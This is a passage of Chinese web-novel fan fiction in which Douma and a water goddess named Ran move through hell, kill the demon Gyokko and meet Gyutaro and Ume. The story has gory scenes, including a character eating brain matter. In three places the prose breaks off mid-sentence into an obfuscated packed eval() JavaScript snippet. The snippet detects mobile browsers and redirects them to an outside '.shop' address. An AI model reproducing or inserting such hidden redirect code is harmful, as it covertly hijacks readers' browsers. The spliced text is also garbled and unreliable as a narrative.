一个熟悉的声音很适时的在我身后响起,听起来相当热情。 我面前那张怪脸扭动了几下,两张嘴巴全张开了。 “您是…您是童磨阁下?上弦之二的童磨阁下?!” 不是吧,他俩还认识?? “是我哦。”童磨笑嘻嘻的说,“真是好久不见啊,玉壶阁下,您看起来还是那么健康。这棵树是您的新作品吗?看起来比以前那些壶的技艺又提升了呢,不错,不错,真是漂亮呀!” 我面前那张脸发出了咯咯的笑声:“您过奖了!诶呀,您怎么也到这里来了?连您也输给那些该死的猎鬼人了么?这么说的话,无惨大人可能也……啊!”脸抽搐了一下,“我能说出那位大人的名字了!这就是说明…他已经…” “无惨大人早就死啦。”童磨轻快的说,“至于我嘛,说来话长。我要跟您好好叙叙旧,不如您现在先把这个女人放下?虽然这样讲有些失礼,但这是我的东西呢。” 叫玉壶的生物看了看我,又看了看童磨,两张嘴都咧开了,做出一个很是了然的表情。 “咯咯咯,童磨阁下真是像之前一样奢侈,竟然在地狱里还没改变口味吗?我可是什么都吃,悲惨极了!好不容易发现了这女人,不如我们平分怎么样?您舍不得的话,我只要一条大腿就可以了。” “不行哦。”童磨有点遗憾的说,“这个是我的,不能分给别人的呢。” “唉唉,童磨阁下您……” “我说不行,您听不懂吗?” 童磨的声音里像是含着冰。空气的温度急剧下降,瞬间就有寒霜沿着四周的树枝蔓延开来,顷刻间就将它冻成一棵冰树,然后砰的一声,所有树枝都炸成了一地冰渣,只剩下了树干。 我跳回他身边,提醒道:“小心点,树干里全是死灵,他们是共生的。” 鬼用扇子掩住脸:“诶呀,小染,叫我怎么说你才好?都说了下次我来狩猎嘛,你也太不小心了呀。” 我老脸一热,表示懒得理他。 树干上那张脸又叫了起来:“童磨阁下,我知道您的实力一向惊人!您不要生气!我有个主意,一个好主意,看在我们都是上弦的份上,您听我说完再决定要不要杀我可好?” “不是吧?”我难以置信地说:“这个……也是上弦?” “小染,不要失礼哦,玉壶阁下可是上弦里最出色的艺术家,他做的壶无比精美,连无惨大人都会夸奖呢。” 童磨又恢复了他笑嘻嘻的表情,悠然的走到树干前,“您真是太客气了,我怎么可能会生您的气呢,玉壶阁下?您有什么想说的,我很愿意听哦。” “既然您和无惨大人在这里,那黑死牟大人和所有的上弦也一定都在!”玉壶兴奋的说,“我们马上去找他们汇合,然后一起逃出去吧!这种日子我是过够了,困在树里完全不能动!您…您是怎么可以自由行动的?真不愧是上弦之二啊!” “啊,”童磨眨了眨眼,“玉壶阁下,您还真是……” 他脸上扬起个堪称恶毒的微笑。 “……蠢到让我想哭啊。” 虽然那张怪脸上表情并不明显,但我也能看出那个叫玉壶的鬼愣住了。 大概是因为童磨终于显露出了他那像是某种奇特怪物的气息。 “您还没明白吗?无惨大人已经失败了,现在说不准被关在地狱的哪个地方呢,黑死牟大人也一样,上弦们全都失败了。是鬼杀队赢了呢。” “我们遵照无惨大人的命令,花了几百年的时间去寻找青色彼岸花,还是失败了呢。” “啊,真是让人心碎的现实啊!”名为童磨的怪物似歌咏一般叹息道,“无惨大人那伟大的梦想,让他自己永生不死,乃至行走在阳光下的梦想,也破灭了呢。” “这,这……”玉壶结结巴巴的说,“也许我们还有希望…青色彼岸花还没有找到,我们再努努力的话也许……” “真是抱歉呐,玉壶阁下。” 童磨冲它露出一个甜腻的笑容。 “我已经不想再为这种蠢事浪费时间了。” 玉壶的脸看起来有点错乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252299|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 它像是终于明白过来:“童磨…你…你是要背弃无惨大人吗?!你竟然敢背弃无惨大人!要知道没有无惨大人,你什么都不是!” 我看到童磨眼中有什么寒冷的东西闪了一下。但下一刻他就掩着脸哭起来: “这话多让人伤心呐。你们都是我珍贵的同伴,我一直都爱着大家哦!现在您这样说,真是让我很为难啊,但您知道的,我一直是个善良的人,要不要我帮您到极乐净土去,那里比地狱里要幸福多了……” “不不,我不要去!”玉壶的反应还是很快的,大概是因为过于了解这位老同事,它两张嘴的牙齿都在打颤,额头的眼珠疯狂转动,“你不能杀我!我、我知道出去的路!我被带到这里来的路上看到了!天上、天上有一道光!你带我一起走,只有我才知道那个光在哪里!” “诶呀,真是太好了!我就知道您是上弦里消息最灵通的!”童磨瞬间欢快的笑起来,“我这就把您从这棵树里救出来。” 玉壶看起来快哭了。 “您太慈悲了,童磨阁下…童磨大人。”它呜咽着说。 “不客气。”童磨真诚的说,“但我突然想到个更简单的办法,不如我们试一试?” 他右手持扇,一记夹着寒霜的猛烈斩击,树的上半截就带着玉壶的天灵盖一起飞了出去。 “啊啊啊啊啊啊——” 玉壶的眼睛或嘴巴还在疯狂尖叫。童磨干脆利索的又是一扇,我看到鲜血裹着牙齿喷溅的到处都是。 “诶呀,忘了您的嘴巴。但我马上就好,请稍微忍耐一下哦。” 鬼微笑着伸出一根手指,小心的挖出了一点玉壶的大脑。 “我其实一直有点好奇。”童磨歪着头,认真的打量着那团发灰的肉。 “和我同为上弦的大家,味道究竟是怎样的呢?” 他将那块大脑放进了嘴里,然后露出了失望的表情。 “您真是太难吃了啊,玉壶阁下。” “腥味过重了呢,像是那种不太新鲜的鱼。” “但您没有说谎,您真是一位诚实的人呐。” “为表感谢,剩下的脑子我就帮您丢掉好了,反正您也用不到它们。” 一切都结束后,童磨弹了弹指尖,一层冰晶带走了他满手满脸的血迹。恢复了干净整洁的恶鬼,笑嘻嘻的朝我走过来。 “小染,我们走吧,我知道路了。” 我望着树干上剩下的半截空荡荡的人头,一时不知道说什么好。 “不用去管玉壶阁下啦,它不肯到极乐去,看来还是留在这里会比较幸福哦~” 我跟着他走出了那片树林,朝某个方向走去。 “小染害怕了吗?” 大概是看我一直没有说话,童磨突然停下脚步,回头看着我。 “呵呵,不用担心啦,我们上弦之间经常这样开玩笑呢,玉壶阁下的头过段时间应该会自己长出来的,就算长不出来,也不会死的哟,毕竟它已经死了嘛。” 这笑话真冷。 我摇了摇头,注视着他:“刚刚的那种反应,就叫做生气哦,童磨大人。” “诶?可是我没有任何感觉呀。”鬼惊讶的说,“我只是好像突然觉得玉壶阁下的脸有点碍眼罢了。” 他像个孩子似的微微睁大眼睛,兴奋的指着自己说: “所以那是生气吗?我刚刚生气了吗?” 我忍不住抬起手,第一次笑着摸了摸他漂亮的白橡色头发。 “是呀,那种感觉就是‘生气’了,以后你还会体验到别的感觉,可以慢慢的记住,不用急。” “为什么呢?”童磨略带困惑的看着我,“为什么要记住那些感觉呢?如果是糟糕的感觉,那不是很令人困扰吗?” 我望着那双透明如冰晶的眼睛,想了想,回答道: “除了糟糕的感觉,还会有很多美好的感觉,就像人世间除了痛苦的事,也会有快乐和幸福的事,它们就像是不同的颜色,不同口味的食物,都要一一的看到,品尝到,才能拼凑出完整的自己。” “童磨大人那么聪明,一定可以的。有一天,一定可以看到五彩斑斓的世界。” 23. 食人之鬼与斩鬼之人(3) 童磨从玉壶那里以某种过于残暴的方式得到的情报果然没有骗人,几天后,我在荒芜的死灵之森某处发现了水的痕迹。 这片区域也不再只有石化的树木,而是出现了干枯的森林,和洼地中的积水,虽然依然了无生机,但灵力的流动不再杂乱无章,而是遵循了某种规律。 蹲在水坑前捧起一点水,我身为前水神的本能告诉我这是非常正常的水,清澈透明,与人世河川中的水甚至没有区别。 “雨水……吗?” 我抬头看看天空,那里依然只有混沌的乌云,但灵力的流动明显加快了。 这片区域活动的魔兽也多了起来,我这几天收获颇丰。童磨已经基本克服了挑食的坏毛病,虽然吃东西时还是一张哭脸,倒不怎么需要我的血了。 环境真心锻炼人呐。我欣慰的想。事实证明,没有漂亮姑娘吃,养尊处优的教主大人一样能活的挺好,这也算是一种进步吧? 我拍了拍手,站起身来,拎上一袋子战利品正准备走,就听见远处传来魔兽低沉的咆哮声。 听起来动静还不小,像是在打斗的样子。想想还是不要多管闲事,再遇到上次那种事就尴尬了。我转头就走,却听见咆哮中夹杂着女孩子尖锐的喊声。 有人? 我快速接近发出打斗声的地方,发现竟然有人赤手空拳拎两把镰刀在跟一头魔兽对打,打法相当熟练,但毫无灵力波动,所以就显得有点吃力了。纯粹依靠物理攻击很难对地狱里的生物形成致命伤害,很多新被放逐来的鬼不懂这个道理,但就算知道也没办法。人世有人世的生态,地狱有地狱的生态,要适应这里需要漫长的时间和足够的运气,像童磨那种先天对这里的灵力系统有感知的怪物实在非常罕见。 但即便这样,那人的身手也相当不错,两把镰刀几乎挥出了残影,在魔兽身上造成了无数道深长的伤口,虽然他自己也已经全身浴血,血液滴到地上发出嘶嘶的声音,有死灵钻出地面在舔舐那些血液。 习惯了童磨那华美又逆天的血鬼术,我很久没看过这么灵活的纯肉搏式打法了。正当我看的津津有味,一旁的树丛里突然冲出来个白色的影子,抱着一堆石头就冲魔兽跑了过去。 ……开什么玩笑,地狱里哪儿来的小女孩? 眼看那孩子冲到魔兽背后就开始扔石头,我只能追过去一把抱起她就跑。 女孩像只发疯的猫一样在我怀里又踢又咬,几乎抱不住,我只好找到一处空地把她丢下,用了个束缚的法术让她不要乱动。 “你是谁啊?”女孩尖叫起来,“快点放开我!我要去帮我哥哥!” “你不拖后腿就是在帮忙了!”我凶她,“给我老实呆着!” 小孩深蓝色的眼睛里满是要把我撕碎一样的恨意,牙齿咬的咯咯响。 啧,现在的人类小女孩脾气都这么恶劣吗? 突然一阵凛冽的杀意挟着疾风卷向我的头颈之间,我拔刀就挡,只听铮的一声,一把镰刀擦过我的刀身,紧接着是第二把从另一个刁钻的角度袭来,我闪身退后两步,看着眼前状如饿鬼的少年,不禁皱了皱眉。 那实在是个丑陋不堪的人,身体骨瘦如柴,还有些驼背,脸上黑斑遍布,头发像是一团海藻,两只发黄的眼珠斜视着我,全身都是淋漓的鲜血,不知是刚刚魔兽的血还是他自己的。 “哥哥!她欺负我!”被我绑了个结实的小女孩特别解气的喊起来。 “不把你绑起来,等你去喂魔兽吗?” 我居然在怼一个小孩,还是个小女孩,我感觉自己也是闲的要命。 那名脸上有黑斑的少年提起手里的镰刀,用极为嘶哑难听的嗓音威胁我:“喂,放开我妹妹,不然就杀了你。” 我抬手收回了束缚咒语,女孩子立刻跑过来,双手抢过一把镰刀就要砍我。 算了,就知道我这多管闲事的毛病得改。 我闪身绕过了他俩,拎着我的东西就走。 突然身后响起女孩带着颤音的叫声:“哥哥你怎么啦?你,你流了好多血啊!” 我转过头,看到那名少年半跪在地上,似乎是以镰刀支撑着自己的身体,微微晃了两下,鲜血滴滴答答的撒了一地。死灵的数量越聚越多,不再满足于地上的血,也开始跃跃欲试的爬上他布满伤口的身体。 看来死灵之森的鬼的实体化程度要比别处高啊,我想。不光有人类的灵魂混进来,连鬼都能流这么多血? 我朝他们走过去,小女孩子立刻跳了起来,两只手攥紧了镰刀,恶狠狠的瞪着我。 我从袋子里拿出一颗魔兽的晶核丢给她。 “不想死的话就把这个给你哥哥吃掉。” 女孩子咬牙切齿的说:“我才不要相信你!” “随你,小姑娘。”我说,“现在你有两个选择,给他吃下那个东西,或者看他被死灵吃掉。这里是无间地狱,没人在意你们的死活,你自己想好了。” 女孩子攥紧镰刀的双手微微发着抖,仿佛犹豫了片刻,最终抓起了那颗晶核。 我走过去用刀尖把地上聚拢的死灵一一挑开,顺便告诉那女孩:“记住离这个东西远一点,它们会被血和灵力吸引,越聚越多,如果一两只跳起来咬你,直接砍它就好,但如果数量很多,最好就马上逃走,听懂了吗?” 她迷茫的表情告诉我她十之八九是没听懂。我却听到那丑陋的少年嘶声说了句:“你到底是什么人,为什么帮我们?” 看他身上的伤口在灵力的作用下愈合的七七八八,我放下了心,就随口说道:“没有为什么,只是觉得生命是很宝贵的东西,哪怕是鬼的生命,也该好好珍惜才对。” 没想到那少年浑浊的眼神突然亮了一下,竟然摇摇晃晃的站了起来。 “你…认不认识一个…一个白色头发、头顶像被血泼过的…鬼?“ “哦?”白色头发的倒是认识一个,被血泼过?我默默的想了想,好像刚见到那只鬼时头顶的地方是有点红色,但现在已经变的很淡了,我一直以为鬼的头发都会变色呢。 “他…他的眼睛有点特殊,像是…”那少年似乎在艰难的回忆什么,“冰或者彩虹之类的。” 我感到自己的嘴角抽搐了一下。 “你说的那个鬼,是不是叫童磨?” “呜哇啊啊啊~竟然真的是童磨大人啊!” 我无语的看着刚刚那个呲牙咧嘴的小女孩像只八爪鱼一样挂在童磨身上,嗷嗷大哭成一座小喷泉。 “我和哥哥在这里迷路了好久哇啊啊~你怎么才死啊啊啊~” 呃,这孩子的脑子听起来不太聪明的样子。 站在一边的黑斑少年尴尬的抓了抓自己的脸,讷讷的开口:“梅,不要那样没礼貌的跟童磨大人说话,快下来啦。” “诶呀诶呀,没关系啦。”那只鬼笑的一脸慈祥,“小堕姬还是这么活泼呀,真是很有精神呢。” “倒是你呢,妓夫太郎。”他抬起头,彩色的眼睛微微眯起,“果然,失去了血鬼术吗?” 那少年愣了愣,随即苦笑着说:“不愧是童磨大人,一眼就看出来了。既然下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252300|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了地狱,这也是意料中的事吧。”他又挠了挠脸,“大概是对我们这些鬼的惩罚吧。我只是担心自己太弱的话,没法保护小梅。虽然目前看来还好,打架嘛,我从小就擅长。” “所以小堕姬是变回人类了嘛?”童磨低头看看抓住他衣服不放的小女孩,“有点可惜哦,还是更喜欢之前的小堕姬。但这个样子也不错,很可爱哟。” 我默默寒了一下。这家伙可是很久没吃过正经饭了,不会对这么小的女孩子也有兴趣吧? 叫妓夫太郎的少年丑陋的脸上居然露出一丝柔和的笑:“是啊,这就是我妹妹本来的样子,在遇到您之前的样子。还有,她原本的名字叫梅,谢花梅。本来我希望她变回这个样子就去投胎转世,不要再跟我扯上关系,但没办法,她死活不肯走,就只好让她跟着来了。” “哥哥是大笨蛋!”八爪鱼小孩突然回头喊道:“我才不要跟哥哥分开!哥哥去哪里我就去哪里!明明约好了的,要永远在一起!” “啊,每次看到你们兄妹对彼此的爱,都会被感动到呢。”童磨假惺惺的擦擦眼睛,”就知道你肯定会因为小堕姬死掉。当初无惨大人问起来,我还差点挖眼睛谢罪来着。” “给您添麻烦了。”妓夫太郎局促不安的说,“这么说的话…那位大人也已经…” “无惨大人死啦,大概被关在更下层的什么地方吧。所以血鬼术会失灵也是正常的,因为鬼的力量都来自他的血嘛。”他握着扇子呵呵笑起来,“但我发现了更棒的东西哦。小染,来跟这两个孩子打个招呼,这个是妓夫太郎,这个是他的妹妹小堕姬,他们都是跟我很有缘的孩子呢。” 三双眼睛突然一起看向我。我只能挤出个勉强的笑容,“你们好,我是染。” 无间地狱是被这群鬼包场了嘛?一个童磨就很可怕了,竟然还有其他的鬼? 叫小梅的银发女孩子首先做了个鬼脸,“什么嘛,童磨大人的品味也不怎么样啊,这个丑八怪看起来一点也不好吃!” ??丑八怪?说我吗? 妓夫太郎挠了挠头发,倒显得有些不好意思:“这么说…一开始是误会了啊,还差点对你动手来着。原来是童磨大人的…”他似乎一时找不到合适的词汇,只好试探着说,“呃,朋友?” “说对啦!”童磨高兴的拍了下手,“小染是我的朋友哦!”他贴心的补充道,“不能吃的那种。” 我面无表情的点点头:“对,我还是这家伙的侍女,厨娘,护卫,最后才是合作者。” 那两个鬼的表情更复杂了。 从妓夫太郎的话里我才得知,这两个鬼还真是童磨从路边捡的,在花街做游女的小梅被人烧成了一团焦炭,只剩一口气,同样身受重伤的妓夫太郎抱着她求救无门,在突降的漫天大雪里,遇见了拎着晚饭路过的童磨。 当时已经是上弦鬼的童磨感受到了妓夫太郎身上巨大的做鬼潜力,于是热心的分享了来自前老板的鬼血给这对兄妹,并且在他们还是懵懂的新鬼时,收留他们暂住在极乐教,教导他们觉醒了自己的血鬼术。 不知道为什么,这听起来的确是童磨能干出来的事,毕竟他那一脸“不客气,我就是个大好人”的表情已经说明了一切。 哪知道他的下一句话就让我喷了出来:“今天真是太棒了!为了庆祝我们在地狱里有缘相见,不如搞一场小小的庆贺活动?” 小梅首先跳了起来:“我支持!我和哥哥来的路上的湖里有好多鱼!我们来烤鱼怎么样?” 我站起来:“哪里有湖?带我去看看。” 24. 食人之鬼与斩鬼之人(4) 还真的有湖。 我看着眼前一片不大但清澈的湖水,确定感到有点激动。 将手缓缓伸进湖水中,我开始试着逆向回溯水的来源。 果然是雨水。我激动的朝天空望去。这片区域应该就是“河流”经过的地方了。 “你在干嘛?” 叫小梅的女孩子蹲在旁边,斜着眼看我。 啧,明明是个挺漂亮的孩子,怎么总是一副凶巴巴的样子? “我在找水的来源。”我对她说,“我是个水神。” “啊?”她难以置信的瞪大了那双漂亮的深蓝色眼睛,然后尖声大笑起来,“别开玩笑了,世上哪里来的神啊?” “既然都有地狱,怎么会没有神呢?”我站起身,往湖的另一侧走去。小孩跟在我身后,把地上的石头一块块踢进湖水里。 “要是真有神灵的话,那天救我们的就不会是童磨大人了。” 我听出了她语气里超出年龄的森冷和怨怼。 “谁告诉你神灵一定会管世上的事了?”我对她解释,“况且神灵也有做不到的事,保护不了的人。” “哈,那神灵还不如我哥哥,哥哥每次都能保护我。”她颇为骄傲的说。 我笑了笑。 “你多大了?我是说,变成鬼的时候。” 她撇嘴:“十三岁吧。因为头一天正好是我的生日,哥哥送了我一直想买又买不起的簪子,所以记得很清楚。” “年纪不小了呢,我认识一个女孩子,她死的时候比你小多了。” “她也变成鬼了吗?”小梅边从地上捡起一些生火用的枯枝边问我。看来这孩子也不是什么都不会做,起码自理能力比童磨强多了。 “没有,她变成了我的一部分。” 没想到她很是淡定的点点头:“这个我懂。以前童磨大人常说,他吃掉的人会永远和他在一起,再也不会死,再也不会痛苦。但无惨大人告诫我们不要信他那套歪理,他脑子有病。” 我忍不住笑了出来,“无惨大人说的很对。” “那当然。”小梅显然也是他们那位前老板的忠实拥趸,“无惨大人还告诉要我多吃人才能变强,像童磨大人那样就很强,所以无惨大人再不喜欢他也拿他没办法。” “那就怪了。”我好奇道,“既然他很强,无惨大人为什么不喜欢他?” 小梅翻了个白眼,“因为他脑子有病啊,做事情总是异想天开的,说出的话也很奇怪,跟正常鬼不一样。像黑死牟大人和猗窝座大人就很可靠,后来我和哥哥成了上弦,无惨大人也更愿意把任务交给我们,而不是童磨大人。” 嗯,神憎鬼厌说的就是你了,童磨。 “但无惨大人说过一句话,我不太懂。”小梅想了想,说道,“他说童磨大人没有执着的事,也不懂畏惧,甚至分不清生和死的区别。他觉得对于鬼来说,这很糟糕。” 我点点头,“的确,这非常糟糕。” “啊,到了!”她高兴的跑到前方的湖边,“就是这里有很多鱼…应该是鱼吧?” 嗯,这孩子管这种全身都是都是牙齿,长了四只眼睛的东西叫鱼? “……我们可以试试看,但这个不一定能吃。” 这孩子的觅食能力是真的不错,一会儿工夫就用捡到的细树枝编出一只小小的网,还得意的向我炫耀,“这个我会做,以前我和哥哥吃不饱,经常到河边去捞鱼。” 我默默看她一网子下去…网就被鱼咬烂了。 唉。这么傻的小孩是怎么当上上弦的?看来他们那个前老板多少有点来者不拒? 我走到水边,把她扒拉到一边,伸手微微一动,一团水球裹着两条张牙舞爪的鱼一起浮出水面,升到了她眼前。 “哇啊啊~” 小孩又叫的跟见了鬼一样。我捂住耳朵,看她兴奋的手舞足蹈:“好厉害啊!这是什么啊?血鬼术吗?” “都跟你说了我是个水神啊。”我无奈的说。 但既然这水是雨水,这些怪鱼又是从哪里来的? 因此在这片区域附近,应该有“门”的存在,只是不知道是不是只进不出的门。 等回到妓夫太郎他们那边时,小梅的兴奋劲儿还没过去。 “哥哥!你猜我看到了什么?这个家伙真的是个水神!能让鱼飞到天上哦!” 妓夫太郎摸了摸她的头,也是一脸无奈:“这有什么好奇怪的,玉壶以前不是也经常这么干吗?” “不一样呀!她还能让鱼周围的水也一起飞起来!”女孩急道,“我们跟着她,哥哥就不用去狩猎那些怪物了,那些东西的肉一点也不好吃,还会害你受伤!” 看着他们吵吵闹闹,我第一次感觉周围变得热闹了很多。回头看到童磨不知道什么时候又搞出了他的冰莲座,一脸悠闲的端坐在上面,托着腮仿佛看戏的样子,便朝他走了过去。 “有什么问题吗?”我坐上冰莲的一角。 “小染也注意到了吗?不过不算什么大问题哦。”那只鬼竟然破天荒的往边上蹭了蹭,给我让出点地方,“小堕姬已经变回了人类,却没有被那些死灵寄生,还能进食这里的东西,你不觉得有点奇怪吗?” “那个男孩子的灵体实体化程度很高,甚至和在地狱里呆了一两百年的狩猎者差不多。”我说,“一般只有神灵或心怀强大信念的灵,才能一直维持完整的实体。这兄妹俩是共生关系吧?哥哥分享了自己灵魂的力量给妹妹,甚至能保护她不受死灵的伤害,真是强大到可怕的信念啊。” “但是,”我接着说道,“随着时间流逝,在人世的记忆会逐渐被这里的土地吞噬。我认识的一些狩猎者,最终也会退化成没有自我意识的死灵。尤其他要承受两个人的负担,退化速度只能更快。” 我叹了口气,“必须得快点把他俩送出去才行。” “果然是小染啊。”童磨握着扇子笑道,“即使对鬼也怀有怜悯之心吗?真是太善良了。说到底,小堕姬只是妓夫太郎的累赘而已。不过我倒是第一次听到有人想救这两个傻孩子。” 我看他一眼,“别假惺惺的,你不是已经救过一次了吗?” “诶呀,因为我一直是个善良的人嘛。而且很想看看他们两个能做到什么程度,毕竟看起来很有潜力的样子。可惜呀,”鬼摊摊手,“最后还是小堕姬拖累了她哥哥,两人一起被杀掉啦。” “谈不上什么拖累不拖累,对于彼此而言,他们都是世上唯一重要的人,谁失去了谁也无法独自活下去,这个结果只要他们自己能接受就可以了。” 我望着那对打闹在一处的兄妹,不禁露出了笑意。童磨却往后一仰,懒洋洋的倚在一片新长出的莲叶上,一副听天由命的表情。 “啊啊,这样就没办法啦。本来打算偷偷吃掉小堕姬,这样妓夫太郎可能会彻底变成强大的鬼呢,毕竟那孩子很有战斗天赋呀,想想就觉得有趣。”他咂咂嘴,颇有些遗憾的说,“但那样做的话,会被小染讨厌吧。算了算了,再帮他们一次好了,我可真是太好心了,连我自己都感动了呢。” “那还真是多谢您的慈悲了,童磨大人。”我朝他露出个揶揄的笑脸,“难道之前的经历还没让您明白,‘随意践踏别人心中重要的东西是会死的’这个浅显易懂的道理?” “小染又开始教训人家了。”鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252301|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹了口气,目光中却透出一丝漠然,“可我见过的人和鬼尽是些脑子不好的蠢货,为了一点虚幻的希望受尽折磨,挣扎到最后也徒劳无用,就连无惨大人也一样,耗费了上千年的时间,只是为了活下去这么一件小事而已。真是太可怜了,我呐,实在是理解不了呢~” “因为童磨大人还没有重要的、哪怕拼上性命也想要守护的东西。”我轻声说,袖口中的手指不由自主的摩挲着左腕上的银铃。它那么小,就像一颗小小的糖果。 “让人变强大的,不是恐惧或者怨恨,而是守护重要之人的意志,绝不可小看这种意志,因为这就是人类在千年之后最终能战胜鬼的原因,就算暂时不明白也没关系,但请您牢牢的记住这件事。” 正说着,小梅举着条黑乎乎的鱼跑了过来,得意洋洋的塞到我手里。 “神明大人,这是给你的。” 咦,我的地位就这样提升了吗? 也是应该的,我可刚刚保下你一条命啊小姑娘。 童磨在一边又开始抗议:“我的呢?小堕姬真是太偏心了!” 这下连小梅也忍不住翻了个白眼:“难道我还不知道童磨大人爱吃什么东西吗?就不要耍小孩子脾气了吧!” 没再理那只嘤嘤假哭的鬼,银发小姑娘头也不回的跑远了。 我伸手戳了戳趴在莲叶上的鬼,“别哭啦,鱼给你,就当是小梅谢你不杀之恩的回礼。“ 鬼抬起泪汪汪的七彩大眼睛,看看那条烤的面目狰狞的鱼,低头哭的更伤心了。 可能因为还不太适应环境,加上太过疲惫的缘故,那兄妹俩闹了一阵就找了个角落相拥着睡着了,但妓夫太郎明显没有睡死,手还紧紧握在镰刀柄上。 我则带着童磨去了湖边寻找门的位置。 童磨绕着那个湖走了一圈,若有所思的望着湖面,最后说:“我认为不是这里哦,小染。” “诶?为什么?” “我之前有用血鬼术记录我进入业火之界和进入死灵之森时周边一定范围内的灵力流动情况,和此处的灵力场并不一致。同样是门,所处的环境应该有相似之处吧。” “也许只是因为门没有开,所以这片场域的灵力波动和门开启时不一样?” “还是可以感觉到区别的,”他想了想,说,“这就像那些使用不同呼吸法的剑士,即使在没有出招时,每个人身上的气息变化也是不同的。因为之前习惯记录他们的招式,所以有观察到这一点哦。” 这家伙看似不靠谱,做事还是相当仔细的嘛。看来他用了短短两百年就高居上弦之二的位置,确实是有一定道理的。 “那么就只有等待门自动开启的时候了。”我叹了口气,“之前业火之界的门是在血月时才会开启,死灵之森的门什么时候能开,真的不好说啊。” “也未必哦。”童磨脸上浮现出一个甜美的笑容。我顿时有种不祥的预感。 “目前为止我们已经将两位神灵狩送去了极乐,如果我是这里的掌控者,就会从更高的级别抽调人手来解决这里的问题,而不是再让这些能力不足的人来送死。我们只需要等待,加上稍微制造一点小小的混乱,对手就会主动送上门的,那时开启的,就一定是既可以进入也可以离开这里的门啦。” 大概是留意到我惊愕的目光,他笑的更甜美了,“诶呀,小染是不是更崇拜我了?毕竟和鬼杀队打了几百年交道,柱都吃腻了,所以多少还是有些小诀窍的。快来夸奖一下人家嘛~” 我只好认真的给予这位前上弦一番吹捧,他看起来居然还十分受用。 呃,是我的错觉吗?总感觉这只鬼最近学会了……撒娇? 25. 食人之鬼与斩鬼之人(5) 然而地狱就是地狱,麻烦永远接连不断。返回途中,还没接近那兄妹俩所在的地方,我就闻见了空气中有什么东西燃烧的味道。 几个腾跃跳到附近的树上,我才发现那是一头全身燃着火焰的魔物,地狱里的狩猎者管这东西叫炎魔,在业火之界不算罕见。大概是这个区域聚集的魔兽太多,引来了身为猎食者的高等魔物。 周围的草木纷纷起火,这东西身上燃烧的是业火,所以所过之处寸草不生,也很难用普通的物理攻击解决,必须切开身体及时破坏掉核心才行。我皱皱眉,正准备下去干掉它,却被一只手拉住了。 童磨不知何时悠然的坐在了我身旁的树枝上,似笑非笑的看着下面的火海。 “急什么啊,小染,难得有这种好机会,看看再说嘛。” 我才注意到魔兽前进的方向上有个白色的影子,竟是小梅。 但和之前的机敏乃至鲁莽不同,她这次呆呆的蹲在原地,双手抱头,一动不动,似乎是过于恐惧导致完全不能移动了。 “这孩子…”我突然反应过来。 她被火严重烧伤过,她怕火。 “这不行,”我站起来,“她会死的!” “啊,据我所知,她已经死过两次了哦。”童磨愉快的说,“如果这次还是死了的话,就不能怪我了,对吗小染?” 我神情复杂的看了他一眼,无奈的停住了动作。 炎魔吐出灼热的火与烟,小梅前方不远处的空气因为高温开始呈现如同水面似的扭曲。眼看蔓延的火舌即将燎到少女蜷缩的身体,只见一个饿鬼般的身影像扑火的飞蛾一样冲了过去,一把抱起少女就滚到了一旁。 看得出妓夫太郎身上也受了很重的灼伤,多处皮肉像黑色的嘴一样翻开,连那头海藻似的头发都焦了一片,应该是之前不要命的和炎魔缠斗过,不知道被甩到了什么地方,还好在最后一刻,他赶到了妹妹身边。 即使曾为上弦,被剥夺血鬼术后,他的速度和攻击自然也不可能像做鬼时一样迅捷凌厉,那两把镰刀也不知道是从哪具陈年尸体上捡的,虽然寒光四射但依然是普通的镰刀。然而他佝偻着身子,就那么挡在妹妹身前,仿佛依旧是当年纵横吉原暗夜的上弦之六。 随后他就像一头疯虎般朝着炎魔扑了上去,完全不顾那些升腾的烈焰,以一对镰刀砍瓜切菜般撕咬着魔兽的身体。 炎魔大概也没想到竟然有人敢跳到身上攻击它,发出一声沉闷的咆哮后,鞭状的尾部一个横扫,就将背上的妓夫太郎扫了出去。 那饿鬼般的少年一触地就灵活的弹起,连一秒也没有停歇,再次跳到了魔兽身上。 “看到了吗?童磨。”我轻声说,“这就是‘守护’啊。” “美妙,真是美妙~”童磨拍手笑道,“就是这样,这种绝望中所迸发的感情,是多么迷人啊!那天遇见他们兄妹的时候,那孩子身上就弥漫着这样令人沉醉的感觉!我几乎要被感动哭了呢!” “怎样,你到底管不管?再不出手他们就死了。” “救赎并不是每次都会降临的哦,小染。就让人家再欣赏一会儿嘛,难得能有这种放松的时刻呢。” “况且,我很期待那孩子的表现哦。”他摇着扇子,眼睛弯了起来,“果然听小染的话留下小堕姬,也别有一番趣味呢。” 